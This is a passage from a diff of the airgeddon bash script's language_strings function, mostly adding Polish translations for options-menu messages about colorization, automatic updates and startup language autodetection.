usuario" @@ -4898,7 +4898,7 @@ function language_strings() { arr["RUSSIAN",442]="Если вы установите ccze, то некоторые цветные элементы airgeddon будут выглядеть лучше. Это не требование или зависимость, но это улучшит работу пользователя" arr["GREEK",442]="Αν εγκαταστήσετε το ccze θα δείτε μερικά κομμάτια του airgeddon, πολύχρωμα με καλύτερη εμφάνιση. Δεν είναι απαραίτητο dependency, αλλά θα βελτιώσει την εμπειρία του χρήστη" arr["ITALIAN",442]="Se installi il pacchetto ccze vedrai alcune parti di airgeddon colorate e più belle. Non è un requisito né una dipendenza, ma migliorerà l'esperienza dell'utente" - arr["POLISH",442]="${pending_of_translation} " + arr["POLISH",442]="${pending_of_translation} Jeśli zainstalujesz pakiet ccze zobaczysz niektóre części airgeddon kolorowane i wyglądają lepiej. Nie jest to wymóg ani zależność, ale poprawi to użytkownikom" arr["ENGLISH",443]="Options and language menu" arr["SPANISH",443]="Menú de opciones e idioma" @@ -4908,7 +4908,7 @@ function language_strings() { arr["RUSSIAN",443]="Настройки и языковое меню" arr["GREEK",443]="Μενού επιλογών και γλώσσας" arr["ITALIAN",443]="Menú opzioni e lingua" - arr["POLISH",443]="${pending_of_translation} " + arr["POLISH",443]="${pending_of_translation} Opcje i menu językowe" arr["ENGLISH",444]="11. Options and language menu" arr["SPANISH",444]="11. Menú de opciones e idioma" @@ -4918,7 +4918,7 @@ function language_strings() { arr["RUSSIAN",444]="11. Настройки и языковое меню" arr["GREEK",444]="11. Μενού επιλογών και γλώσσας" arr["ITALIAN",444]="11. Menú opzioni e lingua" - arr["POLISH",444]="${pending_of_translation} " + arr["POLISH",444]="${pending_of_translation} 11. Opcje i menu językowe" arr["ENGLISH",445]="If you have ccze installed and are experiencing display errors or glitches on some windows, you should disable colorization in the option and language menu" arr["SPANISH",445]="Si tienes instalado ccze y experimentas errores de visualización o parpadeos en algunas ventanas, desactiva la colorización en el menú de opciones e idioma" @@ -4928,7 +4928,7 @@ function language_strings() { arr["RUSSIAN",445]="Если у вас установлен ccze и возникают ошибки отображения или сбои в некоторых окнах, вы должны отключить цветной вывод в пункте Настройки и языковое меню" arr["GREEK",445]="Εάν έχετε εγκαταστήσει το ccze και αντιμετωπίζετε σφάλματα εμφάνισης ή δυσλειτουργίες σε ορισμένα παράθυρα, θα πρέπει να απενεργοποιήσετε τον χρωματισμό στο μενού επιλογών και γλώσσας" arr["ITALIAN",445]="Se hai installato ccze e vedi errori o alcune finestre tremolanti, disattiva la colorazione nel menú opzioni e lingua" - arr["POLISH",445]="${pending_of_translation} " + arr["POLISH",445]="${pending_of_translation} Jeśli zainstalowano ccze i wystąpiły błędy wizualizacji lub migotania w niektórych oknach, wyłącza on kolorację w menu opcji i języka" arr["ENGLISH",446]="10. Return to options menu" arr["SPANISH",446]="10. Volver al menú de opciones" @@ -4938,7 +4938,7 @@ function language_strings() { arr["RUSSIAN",446]="10. Возврат в меню опций" arr["GREEK",446]="10. Επιστροφή στο μενού επιλογών" arr["ITALIAN",446]="10. Tornare al menú delle opzioni" - arr["POLISH",446]="${pending_of_translation} " + arr["POLISH",446]="${pending_of_translation} 10. Wróć do menu opcji" arr["ENGLISH",447]="5. Set permanently airgeddon's language to the current one" arr["SPANISH",447]="5. Cambiar permanentemente el idioma de airgeddon al actual" @@ -4948,7 +4948,7 @@ function language_strings() { arr["RUSSIAN",447]="5. Сделать текущий язык airgeddon постоянным" arr["GREEK",447]="5. Θέστε μόνιμα την τρέχουσα γλώσσα του airgeddon ως προεπιλεγμένη" arr["ITALIAN",447]="5. Modificare in modo permanente la lingua di airgeddon a quella attuale" - arr["POLISH",447]="${pending_of_translation} " + arr["POLISH",447]="${pending_of_translation} 5. Trwale zmieniaj język tego airgeddon na aktualny" arr["ENGLISH",448]="If you installed airgeddon from a repository, you should not enable automatic updates. airgeddon will be updated when there is a new version in the repository" arr["SPANISH",448]="Si instalaste airgeddon desde un repositorio, no deberías activar la actualización automática. airgeddon se actualizará cuando haya una nueva versión en el repositorio" @@ -4958,7 +4958,7 @@ function language_strings() { arr["RUSSIAN",448]="Если вы установили airgeddon из репозитория, вам не следует включать автоматические обновления. airgeddon будет обновляться, когда в репозитории будет новая версия" arr["GREEK",448]="Αν εγκαταστήσατε το airgeddon από κάποιο επίσημο αποθετήριο, δεν θα πρέπει να ενεργοποιήσετε τις αυτόματες ενημερώσεις. Το airgeddon θα ενημερωθεί όταν υπάρξει κάποια νέα έκδοση στο επίσημο αποθετήριο" arr["ITALIAN",448]="Se è stato installato airgeddon da un repository, non si dovrebbe attivare l'aggiornamento automatico. airgeddon sará aggiornato quando ci sará una nuova versione nel repository" - arr["POLISH",448]="${pending_of_translation} " + arr["POLISH",448]="${pending_of_translation} Jeśli zainstalowano airgeddon z repozytorium, nie należy włączać automatycznej aktualizacji. airgeddon zostanie zaktualizowany, gdy w repozytorium znajduje się nowa wersja" arr["ENGLISH",449]="2. Enable automatic updates permanently" arr["SPANISH",449]="2. Habilitar permanentemente la actualización automática" @@ -4968,7 +4968,7 @@ function language_strings() { arr["RUSSIAN",449]="2. Включение постоянных автоматических обновлений" arr["GREEK",449]="2. Ενεργοποιήστε μόνιμα τις αυτόματες ενημερώσεις" arr["ITALIAN",449]="2. Abilitare permanentemente l'aggiornamento automatico" - arr["POLISH",449]="${pending_of_translation} " + arr["POLISH",449]="${pending_of_translation} 2. Trwale włączaj automatyczną aktualizację" arr["ENGLISH",450]="3. Enable colorization permanently (on some screen's output)" arr["SPANISH",450]="3. Habilitar permanentemente la colorización (en la salida de algunas pantallas)" @@ -4978,7 +4978,7 @@ function language_strings() { arr["RUSSIAN",450]="3. Включение постоянного цветного вывода (в некоторых окнах программы)" arr["GREEK",450]="3. Ενεργοποιήστε μόνιμα τον χρωματισμό (σε κάποια σημεία)" arr["ITALIAN",450]="3. Abilitare permanentemente la colorazione (in alcuni schermi)" - arr["POLISH",450]="${pending_of_translation} " + arr["POLISH",450]="${pending_of_translation} 3. Trwale włączaj kolorowanie (na wyjściu niektórych ekranów)" arr["ENGLISH",451]="Automatic updates: ${pink_color}Enabled${normal_color}" arr["SPANISH",451]="Actualizaciones automáticas: ${pink_color}Activadas${normal_color}" @@ -4988,7 +4988,7 @@ function language_strings() { arr["RUSSIAN",451]="Автоматическое обновление: ${pink_color}Включено${normal_color}" arr["GREEK",451]="Αυτόματη ενημέρωση: ${pink_color}Ενεργοποιημένο${normal_color}" arr["ITALIAN",451]="Aggiornamenti automatici: ${pink_color}Abilitati${normal_color}" - arr["POLISH",451]="${pending_of_translation} " + arr["POLISH",451]="${pending_of_translation} Aktualizacje automatyczne: ${pink_color}Włączone${normal_color}" arr["ENGLISH",452]="Automatic updates: ${pink_color}Disabled${normal_color}" arr["SPANISH",452]="Actualizaciones automáticas: ${pink_color}Desactivadas${normal_color}" @@ -4998,7 +4998,7 @@ function language_strings() { arr["RUSSIAN",452]="Автоматическое обновление: ${pink_color}Отключено${normal_color}" arr["GREEK",452]="Αυτόματη ενημέρωση: ${pink_color}Απενεργοποιημένο${normal_color}" arr["ITALIAN",452]="Aggiornamenti automatici: ${pink_color}Disabilitati${normal_color}" - arr["POLISH",452]="${pending_of_translation} " + arr["POLISH",452]="${pending_of_translation} Aktualizacje automatyczne: ${pink_color}Wyłączone${normal_color}" arr["ENGLISH",453]="Colorization (on some screen's output): ${pink_color}Enabled${normal_color}" arr["SPANISH",453]="Colorización (en la salida de algunas pantallas): ${pink_color}Activada${normal_color}" @@ -5008,7 +5008,7 @@ function language_strings() { arr["RUSSIAN",453]="Использование цветов (в некоторых окнах программы): ${pink_color}Включено${normal_color}" arr["GREEK",453]="Χρωματισμός (σε κάποια σημεία): ${pink_color}Ενεργοποιημένο${normal_color}" arr["ITALIAN",453]="Colorazione (in alcuni schermi): ${pink_color}Abilitata${normal_color}" - arr["POLISH",453]="${pending_of_translation} " + arr["POLISH",453]="${pending_of_translation} Kolorystyka (na wyjściu niektórych ekranów) ${pink_color}Włączone${normal_color}" arr["ENGLISH",454]="Colorization (on some screen's output): ${pink_color}Disabled${normal_color}" arr["SPANISH",454]="Colorización (en la salida de algunas pantallas): ${pink_color}Desactivada${normal_color}" @@ -5018,7 +5018,7 @@ function language_strings() { arr["RUSSIAN",454]="Использование цветов (в некоторых окнах программы): ${pink_color}Отключено${normal_color}" arr["GREEK",454]="Χρωματισμός (σε κάποια σημεία): ${pink_color}Απενεργοποιημένο${normal_color}" arr["ITALIAN",454]="Colorazione (in alcuni schermi): ${pink_color}Disabilitata${normal_color}" - arr["POLISH",454]="${pending_of_translation} " + arr["POLISH",454]="${pending_of_translation} Kolorystyka (na wyjściu niektórych ekranów) ${pink_color}Wyłączone${normal_color}" arr["ENGLISH",455]="2. Disable automatic updates permanently" arr["SPANISH",455]="2. Deshabilitar permanentemente la actualización automática" @@ -5028,7 +5028,7 @@ function language_strings() { arr["RUSSIAN",455]="2. Отключить постоянные автоматические обновления" arr["GREEK",455]="2. Απενεργοποιήστε μόνιμα τις αυτόματες ενημερώσεις" arr["ITALIAN",455]="2. Disattivare permanentemente gli aggiornamenti automatici" - arr["POLISH",455]="${pending_of_translation} " + arr["POLISH",455]="${pending_of_translation} 2. Trwale wyłączaj automatyczną aktualizację" arr["ENGLISH",456]="3. Disable colorization permanently (on some screen's output)" arr["SPANISH",456]="3. Deshabilitar permanentemente la colorización (en la salida de algunas pantallas)" @@ -5038,7 +5038,7 @@ function language_strings() { arr["RUSSIAN",456]="3. Постоянное отключение использования цветов (в некоторых окнах программы)" arr["GREEK",456]="3. Απενεργοποιήστε μόνιμα τον χρωματισμό (σε κάποια σημεία)" arr["ITALIAN",456]="3. Disattivare permanentemente la colorazione (in alcuni schermi)" - arr["POLISH",456]="${pending_of_translation} " + arr["POLISH",456]="${pending_of_translation} 3. Trwale wyłączać kolorowanie (na wyjściu niektórych ekranów)" arr["ENGLISH",457]="${blue_color}Automatic updates are going to be disabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",457]="${blue_color}Se van a desactivar las actualizaciones automáticas. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -5048,7 +5048,7 @@ function language_strings() { arr["RUSSIAN",457]="${blue_color}Автоматические обновления будут отключены. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",457]="${blue_color}Οι αυτόματες ενημερώσεις πρόκειται να απενεργοποιηθούν. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",457]="${blue_color}Si stano per disattivare gli aggiornamenti automatici. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",457]="${pending_of_translation} " + arr["POLISH",457]="${pending_of_translation} ${blue_color}Aktualizacje automatyczne zostaną wyłączone. ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" arr["ENGLISH",458]="${blue_color}Automatic updates are going to be enabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",458]="${blue_color}Se van a activar las actualizaciones automáticas. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -5058,7 +5058,7 @@ function language_strings() { arr["RUSSIAN",458]="${blue_color}Автоматические обновления будут включены. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",458]="${blue_color}Οι αυτόματες ενημερώσεις πρόκειται να ενεργοποιηθούν. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",458]="${blue_color}Si stanno per attivare gli aggiornamenti automatici. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",458]="${pending_of_translation} " + arr["POLISH",458]="${pending_of_translation} ${blue_color}Automatyczne aktualizacje będą włączone. ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" arr["ENGLISH",459]="If you installed airgeddon from a repository you shouldn't enable this option. airgeddon will be updated when the repositories do. If you continue, make sure you know what you are doing, or you could cause problems with update flow" arr["SPANISH",459]="Si instalaste airgeddon desde un repositorio no deberías activar esta opción. airgeddon se actualizará cuando lo hagan los repositorios. Si continuas, asegúrate de saber bien lo que haces o podrías causar problemas con flujo de actualizaciones" @@ -5068,7 +5068,7 @@ function language_strings() { arr["RUSSIAN",459]="Если вы установили airgeddon из репозитория, вы не должны включать эту опцию. airgeddon будет обновляться вместе с репозиториями. Если вы продолжите, убедитесь, что знаете, что делаете, или ваши действия могут вызвать проблемы для этой программы" arr["GREEK",459]="Εάν εγκαταστήσατε το airgeddon από κάποιο επίσημο αποθετήριο, δεν πρέπει να ενεργοποιήσετε αυτή την επιλογή. Το airgeddon θα ενημερωθεί όταν ενημερωθούν και τα αποθετήρια. Αν συνεχίσετε, βεβαιωθείτε ότι γνωρίζετε τι κάνετε και ότι θα μπορεί να προκαλέσετε προβλήματα με τη ροή ενημέρωσης" arr["ITALIAN",459]="Se airgeddon è stato installato da un repository non si dovrebbe attivare questa opzione. airgeddon sará aggiornato quando lo faranno i repository. Se continui, assicurati di sapere bene quello che fai o potrebbe causare problemi al flusso degli aggiornamenti" - arr["POLISH",459]="${pending_of_translation} " + arr["POLISH",459]="${pending_of_translation} Jeśli zainstalowano airgeddon z repozytorium, nie należy włączać tej opcji. airgeddon zostanie zaktualizowany, gdy repozytoria zrobi to. Jeśli kontynuujesz, upewnij się, że wiesz, co robisz, lub może powodować problemy z aktualizacją" arr["ENGLISH",460]="Automatic updates have been enabled" arr["SPANISH",460]="Se han activado las actualizaciones automáticas" @@ -5078,7 +5078,7 @@ function language_strings() { arr["RUSSIAN",460]="Автоматические обновления включены" arr["GREEK",460]="Οι αυτόματες ενημερώσεις έχουν ενεργοποιηθεί" arr["ITALIAN",460]="Sono stati attivati gli aggiornamenti automatici" - arr["POLISH",460]="${pending_of_translation} " + arr["POLISH",460]="${pending_of_translation} Automatyczne aktualizacje włączone" arr["ENGLISH",461]="Automatic updates have been disabled" arr["SPANISH",461]="Se han desactivado las actualizaciones automáticas" @@ -5088,7 +5088,7 @@ function language_strings() { arr["RUSSIAN",461]="Автоматические обновления отключены" arr["GREEK",461]="Οι αυτόματες ενημερώσεις έχουν απενεργοποιηθεί" arr["ITALIAN",461]="Sono stati disattivati gli aggiornamenti automatici" - arr["POLISH",461]="${pending_of_translation} " + arr["POLISH",461]="${pending_of_translation} Automatyczne aktualizacje są wyłączone" arr["ENGLISH",462]="${blue_color}Colorization (on some screen's output) is going to be disabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",462]="${blue_color}Se va a desactivar la colorización (en la salida de algunas pantallas). ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -5098,17 +5098,17 @@ function language_strings() { arr["RUSSIAN",462]="${blue_color}Использование цветов (в некоторых окнах программы) будет отключено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",462]="${blue_color}Ο χρωματισμός (σε κάποια σημεία) πρόκειται να απενεργοποιηθεί. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",462]="${blue_color}La colorazione sará disattivata (in alcuni schermi). ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",462]="${pending_of_translation} " + arr["POLISH",462]="${pending_of_translation} ${blue_color}Wyłączysz koloryzację (na wyjściu niektórych ekranów). ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" arr["ENGLISH",463]="${blue_color}Colorization (on some screen's output) is going to be enabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",463]="${blue_color}Se va a activar la colorización (en la salida de algunas pantallas). ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" arr["FRENCH",463]="${blue_color}Activation colorisation (sur certains écrans). ${green_color}Voulez-vous continuer? ${normal_color}${visual_choice}" arr["CATALAN",463]="${blue_color}Es va a activar la coloració (a la sortida d'algunes pantalles). ${green_color}¿Vols continuar? ${normal_color}${visual_choice}" arr["PORTUGUESE",463]="${blue_color}A coloração (em algumas telas) será ativada. ${green_color}Você deseja continuar? ${normal_color}${visual_choice}" - arr["RUSSIAN",463]="Использование цветов (в некоторых окнах программы) будет включено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" + arr["RUSSIAN",463]="${blue_color}Использование цветов (в некоторых окнах программы) будет включено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",463]="${blue_color}Ο χρωματισμός (σε κάποια σημεία) πρόκειται να ενεργοποιηθεί. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",463]="${blue_color}La colorazione sará attivata (in alcuni schermi). ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",463]="${pending_of_translation} " + arr["POLISH",463]="${pending_of_translation} ${blue_color}Uaktywni się koloryzację (na wyjściu niektórych ekranów). ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" arr["ENGLISH",464]="You don't have the ccze package installed so any change on this option will have no effect until you install it" arr["SPANISH",464]="No tienes instalado el paquete ccze por lo que cualquier cambio que realices sobre esta opción no tendrá efecto hasta que lo instales" @@ -5118,7 +5118,7 @@ function language_strings() { arr["RUSSIAN",464]="У вас не установлен пакет ccze, поэтому любое изменение этой опции не будет иметь никакого эффекта, пока вы его не установите" arr["GREEK",464]="Δεν έχετε εγκατεστημένο το πακέτο ccze, οπότε οποιαδήποτε αλλαγή σε αυτήν την επιλογή δεν θα έχει αποτέλεσμα μέχρι να το εγκαταστήσετε" arr["ITALIAN",464]="Non è stato installato il pacchetto ccze per cui tutte le modifiche apportate su questa opzione non avranno alcun effetto finché non si installa" - arr["POLISH",464]="${pending_of_translation} " + arr["POLISH",464]="${pending_of_translation} Nie masz zainstalowanego pakietu ccze, więc wszelkie zmiany wprowadzone w tej opcji nie będą obowiązywać dopóki nie zostaną zainstalowane" arr["ENGLISH",465]="Colorization has been enabled" arr["SPANISH",465]="Se ha activado la colorización" @@ -5128,7 +5128,7 @@ function language_strings() { arr["RUSSIAN",465]="Использование цветов включено" arr["GREEK",465]="Ο χρωματισμός ενεργοποιήθηκε" arr["ITALIAN",465]="La colorazione è stata abilitata" - arr["POLISH",465]="${pending_of_translation} " + arr["POLISH",465]="${pending_of_translation} Aktywizacja kolorystyki" arr["ENGLISH",466]="Colorization has been disabled" arr["SPANISH",466]="Se ha desactivado la colorización" @@ -5138,7 +5138,7 @@ function language_strings() { arr["RUSSIAN",466]="Использование цветов отключено" arr["GREEK",466]="Ο χρωματισμός απενεργοποιήθηκε" arr["ITALIAN",466]="La colorazione è stata disabilitata" - arr["POLISH",466]="${pending_of_translation} " + arr["POLISH",466]="${pending_of_translation} Kolorystyka wyłączona" arr["ENGLISH",467]="4. Enable startup language autodetection permanently" arr["SPANISH",467]="4. Habilitar permanentemente la autodetección de idioma al inicio" @@ -5148,7 +5148,7 @@ function language_strings() { arr["RUSSIAN",467]="4. Автоматическое определение языка постоянно отключено" arr["GREEK",467]="4. Ενεργοποίηση του αυτόματου εντοπισμού γλώσσας κατά την εκκίνηση μόνιμα" arr["ITALIAN",467]="4. Abilitare permanentemente il rilevamento automatico della lingua all'inizio" - arr["POLISH",467]="${pending_of_translation} " + arr["POLISH",467]="${pending_of_translation} 4. Trwale włączaj automatyczne wykrywanie języka podczas uruchamiania" arr["ENGLISH",468]="4. Disable startup language autodetection permanently" arr["SPANISH",468]="4. Deshabilitar permanentemente la autodetección de idioma al inicio" @@ -5158,7 +5158,7 @@ function language_strings() { arr["RUSSIAN",468]="4. Постоянное отключение автоматического определения языка" arr["GREEK",468]="4. Απενεργοποίηση του αυτόματου εντοπισμού γλώσσας κατά την εκκίνηση μόνιμα" arr["ITALIAN",468]="4. Disattivare permanentemente il rilevamento automatico della lingua all'inizio" - arr["POLISH",468]="${pending_of_translation} " + arr["POLISH",468]="${pending_of_translation} 4. Trwale wyłączaj autodetekcję języka podczas uruchamiania" arr["ENGLISH",469]="${blue_color}Startup language autodetection will be disabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",469]="${blue_color}Se va a deshabilitar la autodetección de idioma al inicio. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -5168,7 +5168,7 @@ function language_strings() { arr["RUSSIAN",469]="${blue_color}Автоопределение языка при запуске будет отключено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",469]="${blue_color}Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση θα απενεργοποιηθεί. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",469]="${blue_color}Si sta per disabilitare il rilevamento automatico della lingua all'inizio ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",469]="${pending_of_translation} " + arr["POLISH",469]="${pending_of_translation} ${blue_color}Autodetekcja języka zostanie wyłączona podczas uruchamiania. ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" arr["ENGLISH",470]="${blue_color}Startup language autodetection will be enabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",470]="${blue_color}Se va a habilitar la autodetección de idioma al inicio. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -5178,7 +5178,7 @@ function language_strings() { arr["RUSSIAN",470]="${blue_color} Автоопределение языка при запуске будет включено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",470]="${blue_color}Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση θα ενεργοποιηθεί. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",470]="${blue_color}Si sta per abilitare il rilevamento automatico della lingua all'inizio. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",470]="${pending_of_translation} " + arr["POLISH",470]="${pending_of_translation} ${blue_color}Autodetekcja języka zostanie włączona podczas uruchamiania. ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" arr["ENGLISH",471]="Any permanent change of language you have will be lost on the next start if you enable this option!!" arr["SPANISH",471]="Cualquier cambio permanente de idioma que tenga se perderá en el siguiente inicio si activa esta opción!!" @@ -5188,7 +5188,7 @@ function language_strings() { arr["RUSSIAN",471]="При включении этой опции, сделанный выбор по изменению языка будет потерян при следующем запуске!!" arr["GREEK",471]="Οποιαδήποτε μόνιμη αλλαγή της γλώσσας θα χαθεί κατά την επόμενη εκκίνηση, αν ενεργοποιήσετε αυτή την επιλογή!!" arr["ITALIAN",471]="Qualsiasi cambio permanente di lingua si perderá nel prossimo inizio se si attiva questa opzione!!" - arr["POLISH",471]="${pending_of_translation} " + arr["POLISH",471]="${pending_of_translation} Każda trwała zmiana języka zostanie utracona podczas następnego startu, jeśli aktywujesz tę opcję!!" arr["ENGLISH",472]="Startup language autodetection has been enabled" arr["SPANISH",472]="Se ha activado la autodetección de idioma al inicio" @@ -5198,7 +5198,7 @@ function language_strings() { arr["RUSSIAN",472]="Автоматическое определение языка было включено" arr["GREEK",472]="Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση έχει ενεργοποιηθεί" arr["ITALIAN",472]="Il rilevamento automatico della lingua all'inizio è abilitato" - arr["POLISH",472]="${pending_of_translation} " + arr["POLISH",472]="${pending_of_translation} Autodetekcja języka została aktywowana podczas uruchamiania" arr["ENGLISH",473]="Startup language autodetection has been disabled" arr["SPANISH",473]="Se ha desactivado la autodetección de idioma al inicio" @@ -5208,7 +5208,7 @@ function language_strings() { arr["RUSSIAN",473]="Автоматическое определение языка было отключено" arr["GREEK",473]="Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση έχει απενεργοποιηθεί" arr["ITALIAN",473]="È stato disattivato il rilevamento automatico della lingua all'inizio" - arr["POLISH",473]="${pending_of_translation} " + arr["POLISH",473]="${pending_of_translation} Autodetekcja języka została wyłączona podczas uruchamiania" arr["ENGLISH",474]="Startup language autodetection: ${pink_color}Enabled${normal_color}" arr["SPANISH",474]="Autodetección de idioma al inicio: ${pink_color}Activada${normal_color}" @@ -5218,7 +5218,7 @@ function language_strings() { arr["RUSSIAN",474]="Автоопределение языка при запуске: ${pink_color}Включено${normal_color}" arr["GREEK",474]="Αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση: ${pink_color}Ενεργοποιημένο${normal_color}" arr["ITALIAN",474]="Rilevamento automatico della lingua all'inizio: ${pink_color}Abilitato${normal_color}" - arr["POLISH",474]="${pending_of_translation} " + arr["POLISH",474]="${pending_of_translation} Automatyczne wykrywanie języka podczas uruchamiania: ${pink_color}Aktywowane${normal_color}" arr["ENGLISH",475]="Startup language autodetection: ${pink_color}Disabled${normal_color}" arr["SPANISH",475]="Autodetección de idioma al inicio: ${pink_color}Desactivada${normal_color}" @@ -5228,7 +5228,7 @@ function language_strings() { arr["RUSSIAN",475]="Автоопределение языка при запуске: ${pink_color}Отключено${normal_color}" arr["GREEK",475]="Αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση: ${pink_color}Απενεργοποιημένο${normal_color}" arr["ITALIAN",475]="Rilevamento automatico della lingua all'inizio: ${pink_color}Disabilitato${normal_color}" - arr["POLISH",475]="${pending_of_translation} " + arr["POLISH",475]="${pending_of_translation} Automatyczne wykrywanie języka podczas uruchamiania: ${pink_color}Niepełnosprawnych${normal_color}" arr["ENGLISH",476]="A graphical X window system has not been detected. If you already have one, check it's working properly. It's essential for airgeddon. The script can't continue" arr["SPANISH",476]="No se ha detectado un sistema gráfico de ventanas X. Si lo tienes, comprueba su que esté funcionando correctamente. Es esencial para airgeddon. El script no puede continuar" @@ -5238,7 +5238,7 @@ function language_strings() { arr["RUSSIAN",476]="Графическая X система не обнаружена. Если она уже имеется, проверьте её работоспособность. Это важно для airgeddon. Скрипт не может продолжить" arr["GREEK",476]="Δεν έχει εντοπιστεί κάποιο γραφικό σύστημα παραθύρων X. Αν έχετε ήδη ένα, ελέγξτε ότι λειτουργεί σωστά. Είναι απαραίτητο για το airgeddon. Το script δεν μπορεί να συνεχίσει" arr["ITALIAN",476]="Non è stato rilevato un server X grafico, se è presente controllare il corretto funzionamento. È essenziale per airgeddon. Lo script non può continuare" - arr["POLISH",476]="${pending_of_translation} " + arr["POLISH",476]="${pending_of_translation} Nie wykryto graficznego systemu X Window. Jeśli tak, sprawdź, czy działa poprawnie. Jest istotne dla airgeddon. Skrypt nie może kontynuować" arr["ENGLISH",477]="The options in this menu containing the word \"permanently\" modify airgeddon to save the settings for the next time that is to be launched. However, you can always return to this menu to change the value of the option again" arr["SPANISH",477]="Las opciones de este menú que contienen la palabra \"permanentemente\", modifican airgeddon para que incluso la siguiente vez que sea iniciado siga guardando la configuración. No obstante, siempre puedes volver a este menú a cambiar de nuevo el valor de la opción" @@ -5248,7 +5248,7 @@ function language_strings() { arr["RUSSIAN",477]="Опции в этом меню, содержащие слово \"постоянное\", сохраняются в airgeddon при перезапусках программы. Однако вы всегда можете вернуться в это меню, чтобы снова изменить значение параметра" arr["GREEK",477]="Οι επιλογές σε αυτό το μενού που περιέχουν τη λέξη \"μόνιμα\" τροποποιούν το airgeddon ώστε να αποθηκεύει τις ρυθμίσεις για την επόμενη φορά. Ωστόσο, μπορείτε πάντα να επιστρέψετε σε αυτό το μενού για να αλλάξετε ξανά την τιμή της επιλογής" arr["ITALIAN",477]="Le opzioni di questo menú che contengono la parola \"permanentemente\" modificano airgeddon in modo che anche la volta successiva che viene avviato continui con la configurazione salvata. Tuttavia, si può sempre tornare a questo menú per cambiare di nuovo il valore dell'opzione" - arr["POLISH",477]="${pending_of_translation} " + arr["POLISH",477]="${pending_of_translation} Opcje w tym menu, które zawierają słowo \"trwale\" zmodyfikuj airgeddon tak, że nawet przy następnym uruchomieniu, kontynuuj zapisywanie ustawień. Jednak zawsze możesz wrócić do tego menu, aby ponownie zmienić wartość opcji" arr["ENGLISH",478]="${blue_color}Language is going to be set permanently to the current one, so on the next start of airgeddon it will be used directly. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",478]="${blue_color}Se va a cambiar permanentemente el idioma al actual para que al siguiente inicio de airgeddon este sea el idioma en el que arranque directamente. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -5258,7 +5258,7 @@ function language_strings() { arr["RUSSIAN",478]="${blue_color}Текущий язык будет установлен как постоянный, поэтому при следующем запуске airgeddon он будет использоваться без определения языка системы. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",478]="${blue_color}Η τρέχουσα γλώσσα πρόκειται να τεθεί μόνιμα ως προεπιλεγμένη, ώστε κατά την επόμενη εκκίνηση του airgeddon θα χρησιμοποιηθεί κατ' ευθείαν αυτή. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",478]="${blue_color}Sarà modificata in modo permanente la lingua corrente in modo che al prossimo avvio di airgeddon questa sia la lingua di avvio. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",478]="${pending_of_translation} " + arr["POLISH",478]="${pending_of_translation} ${blue_color}To na stałe zmieni język na aktualny, tak aby na następnym początku airgeddon jest to język, w którym zaczyna się bezpośrednio. ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" arr["ENGLISH",479]="This change conflicts with the startup language autodetection which is currently enabled. It will be disabled automatically in order to perform the change" arr["SPANISH",479]="Este cambio entra en conflicto con la autodetección del idioma al inicio que en este momento está activada. Se desactivará automáticamente para poder realizar el cambio" @@ -5268,7 +5268,7 @@ function language_strings() { arr["RUSSIAN",479]="Это изменение конфликтует с автоопределением языка, которое в данный момент включено. Оно будет автоматически отключено для выполнения изменения" arr["GREEK",479]="Αυτή η αλλαγή έρχεται σε σύγκρουση με τoν αυτόματo εντοπισμό της γλώσσας 